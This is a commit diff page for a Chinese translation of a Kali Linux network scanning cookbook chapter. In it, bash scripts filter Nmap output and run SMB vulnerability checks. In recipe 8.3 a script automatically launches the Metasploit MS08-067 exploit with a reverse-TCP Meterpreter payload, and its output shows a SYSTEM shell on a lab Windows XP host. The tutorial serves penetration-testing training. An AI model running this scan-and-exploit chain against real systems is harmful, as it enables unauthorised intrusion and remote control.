Skip to content
体验新版
项目
组织
正在加载...
登录
切换导航
打开侧边栏
OpenDocCN
kali-linux-network-scanning-cookbook-zh
提交
29088ba7
K
kali-linux-network-scanning-cookbook-zh
项目概览
OpenDocCN
/
kali-linux-network-scanning-cookbook-zh
通知
1
Star
2
Fork
0
代码
文件
提交
分支
Tags
贡献者
分支图
Diff
Issue
0
列表
看板
标记
里程碑
合并请求
0
Wiki
0
Wiki
分析
仓库
DevOps
项目成员
Pages
K
kali-linux-network-scanning-cookbook-zh
项目概览
项目概览
详情
发布
仓库
仓库
文件
提交
分支
标签
贡献者
分支图
比较
Issue
0
Issue
0
列表
看板
标记
里程碑
合并请求
0
合并请求
0
Pages
分析
分析
仓库分析
DevOps
Wiki
0
Wiki
成员
成员
收起侧边栏
关闭侧边栏
动态
分支图
创建新Issue
提交
Issue看板
前往新版Gitcode,体验更适合开发者的 AI 搜索 >>
提交
29088ba7
编写于
11月 23, 2016
作者:
W
wizardforcel
浏览文件
操作
浏览文件
下载
电子邮件补丁
差异文件
8.3
上级
72d065ac
变更
1
隐藏空白更改
内联
并排
Showing
1 changed file
with
181 addition
and
1 deletion
+181
-1
ch8.md
ch8.md
+181
-1
未找到文件。
ch8.md
浏览文件 @
29088ba7
...
...
@@ -22,7 +22,7 @@ Nmap 被大多数安全专业人员认为是 Kali Linux 平台中最流畅和有
下面的示例演示了使用 bash 脚本语言甚至是 bash 命令行界面(CLI),从 Nmap 输出的 greppable 格式中提取信息,这十分简单:
```
```
sh
#! /bin/bash
if
[
!
$1
]
;
then
echo
"Usage: #./script <port #> <filename>"
;
...
...
@@ -66,3 +66,183 @@ Systems with port 445 open:
### 工作原理
`grep`
是一个功能强大的命令行工具,可在 bash 中用于 从输出或从给定文件中提取特定内容。 在此秘籍提供的脚本中,
`grep`
用于从 Nmap grepable 输出文件中提取给定端口号的任何实例。 因为
`grep`
函数的输出包括多条信息,所以输出通过管道传递到
`cut`
函数,来提取 IP 地址,然后将其输出到终端。
## 8.2 使用指定 NSE 脚本的 Nmap 端口扫描
许多Nmap脚本引擎(NSE)的脚本仅适用于在指定端口上运行的服务。 考虑
`smb-check-vulns.nse`
脚本的用法。 此脚本将评估在 TCP 445 端口上运行的 SMB 服务的常见服务漏洞。 如果此脚本在整个网络上执行,则必须重新完成任务来确定端口 445 是否打开,以及每个目标系统上是否可访问 SMB 服务。 这是在评估的扫描阶段期间可能已经完成的任务。 Bash 脚本可以用于利用现有的 Nmap greppable 输出文件来运行服务特定的 NSE 脚本,它们只针对运行这些服务的系统。 在本秘籍中,我们将演示如何使用脚本来确定在先前扫描结果中运行 TCP 445 上的服务的主机,然后仅针对这些系统运行
`smb-check-vulns.nse`
脚本。
### 准备
要使用本秘籍中演示的脚本,你需要使用 grepable 格式的 Nmap 输出结果。 这可以通过执行 Nmap 端口扫描并使用
`-oA`
选项输出所有格式,或
`-oG`
来专门输出 greppable 格式来获取。 在提供的示例中,多个系统在单个
`/24`
子网上扫描,这包括 Windows XP 和 Metasploitable2。 有关设置 Metasploitable2 的更多信息,请参阅本书第一章中的“安装 Metasploitable2”秘籍。 有关设置 Windows 系统的更多信息,请参阅本书第一章中的“安装 Windows Server”秘籍。 此外,本节需要使用文本编辑器(如 VIM 或 Nano)将脚本写入文件系统。 有关编写脚本的更多信息,请参阅本书第一章中的“使用文本编辑器(VIM 和 Nano)”秘籍。
### 操作步骤
下面的示例演示了如何使用 bash 脚本将多个任务串联在一起。 这里,我们需要执行 Nmap grepable 输出文件的分析,然后由该任务标识的信息用于针对不同的系统执行 Nmap NSE 脚本。 具体来说,第一个任务将确定哪些系统在 TCP 445 上运行服务,然后针对每个系统执行
`smb-check-vulns.nse`
脚本。
```
#! /bin/bash
if
[
!
$1
]
;
then
echo
"Usage: #./script <file>"
;
exit
;
fi
file
=
$1
for
x
in
$(
grep
open
$file
|
grep
445 |
cut
-d
" "
-f
2
)
;
do
nmap
--script
smb-check-vulns.nse
-p
445
$x
--scriptargs
=
unsafe
=
1
;
done
```
为了确保你能理解脚本的功能,我们将按顺序讲解每一行。 前几行与上一个秘籍中讨论的脚本类似。 第一行指向 bash 解释器,第二行检查是否提供参数,第三行将输入值赋给易于理解的变量名。 脚本的主体有一定区分。
`for`
循环用于遍历通过
`grep`
函数获取的 IP 地址列表。 从
`grep`
函数输出的 IP 地址列表对应在 TCP 端口 445 上运行服务的所有系统。然后对这些 IP 地址中的每一个执行 Nmap NSE 脚本。 通过仅在先前已标识为在 TCP 445 上运行服务的系统上运行此脚本,执行 NSE 扫描所需的时间大大减少。
```
root@KaliLinux:~# ./smb_eval.sh
Usage: #./script <file>
```
通过执行不带任何参数的脚本,脚本将输出用法描述。 该描述表明,应当提供现有 Nmap grepable 输出文件的文件名。 当提供 Nmap 输出文件时,脚本快速分析文件来查找具有 TCP 445 服务的任何系统,然后在每个系统上运行 NSE 脚本,并将结果输出到终端。
```
root@KaliLinux:~# ./smb_eval.sh netscan.txt
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT
Nmap scan report for 172.16.36.135
Host is up (0.00035s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:3D:84:32 (VMware)
Host script results:
| smb-check-vulns:
| Conficker: UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED).
|
| If you know the remote system is Windows, try rebooting it and scanning
|
|_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND)
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
Nmap done: 1 IP address (1 host up) scanned in 5.21 seconds
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:45 EDT
Nmap scan report for 172.16.36.225
Host is up (0.00041s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: NOT VULNERABLE
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
Nmap done: 1 IP address (1 host up) scanned in 5.18 seconds
```
在提供的示例中,脚本会传递到
`netscan.txt`
输出文件。 对文件进行快速分析后,脚本确定两个系统正在端口445上运行服务。然后使用
`smb-check-vulns.nse`
脚本扫描每个服务,并在终端中生成输出。
### 工作原理
通过提供
`grep`
序列作为
`for`
循环要使用的值,此秘籍中的 bash 脚本基本上只是循环遍历该函数的输出。 通过独立运行该函数,可以看到它只提取对应运行 SMB 服务的主机的 IP 地址列表。 然后,
`for`
循环遍历这些IP地址,并对每个 IP 地址执行 NSE 脚本。
## 8.3 使用 MSF 利用程序的 Nmap MSE 漏洞扫描
在某些情况下,开发一个将漏洞扫描与利用相结合的脚本可能会有所帮助。 漏洞扫描通常会导致误报,因此通过执行漏洞扫描的后续利用,可以立即验证这些发现的正确性。 此秘籍使用 bash 脚本来执行
`smb-check-vulns.nse`
脚本,来确定主机是否存在 MS08-067 NetAPI 漏洞,并且如果 NSE 脚本显示如此,Metasploit 会用于 自动尝试利用它来验证。
### 准备
要使用本秘籍中演示的脚本,你需要使用 grepable 格式的 Nmap 输出结果。 这可以通过执行 Nmap 端口扫描并使用
`-oA`
选项输出所有格式,或
`-oG`
来专门输出 greppable 格式来获取。 在提供的示例中,多个系统在单个
`/24`
子网上扫描,这包括 Windows XP 和 Metasploitable2。 有关设置 Metasploitable2 的更多信息,请参阅本书第一章中的“安装 Metasploitable2”秘籍。 有关设置 Windows 系统的更多信息,请参阅本书第一章中的“安装 Windows Server”秘籍。 此外,本节需要使用文本编辑器(如 VIM 或 Nano)将脚本写入文件系统。 有关编写脚本的更多信息,请参阅本书第一章中的“使用文本编辑器(VIM 和 Nano)”秘籍。
### 操作步骤
下面的示例演示了如何使用 bash 脚本将漏洞扫描和目标利用的任务串联到一起。 在这种情况下,
`smb-checkvulns.nse`
脚本用于确定系统是否容易受到 MS08-067 攻击,然后如果发现系统存在漏洞,则对系统执行相应的 Metasploit 漏洞利用。
```
sh
#! /bin/bash
if
[
!
$1
]
;
then
echo
"Usage: #./script <RHOST> <LHOST> <LPORT>"
;
exit
;
fi
rhost
=
$1
lhost
=
$2
lport
=
$3
nmap
--script
smb-check-vulns.nse
-p
445
$rhost
--scriptargs
=
unsafe
=
1
-oN
tmp_output.txt
if
[
$(
grep
MS08-067 tmp_output.txt |
cut
-d
" "
-f
5
)
=
"VULNERABLE"
]
;
then
echo
"
$rhost
appears to be vulnerable, exploiting with Metasploit..."
;
msfcli exploit/windows/smb/ms08_067_netapi
PAYLOAD
=
windows/ meterpreter/reverse_tcp
RHOST
=
$rhost
LHOST
=
$lhost
LPORT
=
$lport
E
;
fi
rm
tmp_output.txt
```
为了确保你能理解脚本的功能,我们将按顺序对每一行进行讲解。脚本中的前几行与本章前面讨论的脚本相同。第一行定义解释器,第二行测试输入,第三,第四和第五行都用于根据用户输入定义变量。在此脚本中,提供的用户变量对应 Metasploit 中使用的变量。
`RHOST`
变量应该定义目标的 IP 地址,
`LHOST`
变量应该定义反向监听器的 IP 地址,
`LPORT`
变量应该定义正在监听的本地端口。然后脚本在主体中执行的第一个任务是,对目标系统的 IP 地址执行
`smb-check-vulns.nse`
脚本,它由
`RHOST`
输入定义。然后,结果以正常格式输出到临时文本文件。然后,
`if ... then`
条件语句与
`grep`
函数结合使用,来测试输出文件中是否有唯一的字符串,它表明系统存在漏洞。如果发现了唯一的字符串,则脚本会显式系统看起来存在漏洞,然后使用 Metasploit 框架命令行界面(MSFCLI)使用 Meterpreter 载荷执行 Metasploit 漏洞利用。最后,在加载漏洞利用后,使用
`rm`
函数从文件系统中删除 Nmap 临时输出文件。
`test_n_xploit.sh bash`
命令执行如下:
```
root@KaliLinux:~# ./test_n_xploit.sh
Usage: #./script <RHOST> <LHOST> <LPORT>
```
如果在不提供任何参数的情况下执行脚本,脚本将输出相应的用法。 此使用描述显示,该脚本应以参数
`RHOST`
,
`LHOST`
和
`LPORT`
执行。 这些输入值将用于 Nmap NSE 漏洞扫描和(如果有保证)使用 Metasploit 在目标系统上执行利用。 在以下示例中,脚本用于确定 IP 地址为
`172.16.36.225`
的主机是否存在漏洞。 如果系统被确定为存在漏洞,则会执行利用,并连接到反向 TCP Meterpreter 处理器,该处理其在 IP 地址
`172.16.36.239`
的 TCP 端口 4444 上监听系统。
```
root@KaliLinux:~# ./test_n_xploit.sh 172.16.36.225 172.16.36.239 4444
Starting Nmap 6.25 ( http://nmap.org ) at 2014-04-10 05:58 EDT
Nmap scan report for 172.16.36.225
Host is up (0.00077s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:0C:29:18:11:FB (VMware)
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE
| Conficker: Likely CLEAN
| regsvc DoS: NOT VULNERABLE
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
Nmap done: 1 IP address (1 host up) scanned in 5.61 seconds 172.16.36.225 appears to be vulnerable, exploiting with Metasploit...
[*] Please wait while we load the module tree...
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
PAYLOAD => windows/meterpreter/reverse_tcp
RHOST => 172.16.36.225
LHOST => 172.16.36.239
LPORT => 4444
[*] Started reverse handler on 172.16.36.239:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 172.16.36.225
[*] Meterpreter session 1 opened (172.16.36.239:4444 -> 172.16.36.225:1130) at 2014-04-10 05:58:30 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
上面的输出显示,在完成 Nmap NSE 脚本后,将立即执行 Metasploit exploit 模块并在目标系统上返回一个交互式 Meterpreter shell。
### 工作原理
MSFCLI 是 MSF 控制台的有效替代工具,可用于直接从终端执行单行命令,而不是在交互式控制台中工作。 这使得 MSFCLI 对于 bash shell 脚本中的使用是一个很好的功能。 因为可以从 bash 终端执行 NSE 脚本和 MSFCLI,所以可以轻松编写 shell 脚本来将这两个功能组合在一起。
编辑
预览
Markdown
is supported
0%
请重试
或
添加新附件
.
添加附件
取消
You are about to add
0
people
to the discussion. Proceed with caution.
先完成此消息的编辑!
取消
想要评论请
注册
或
登录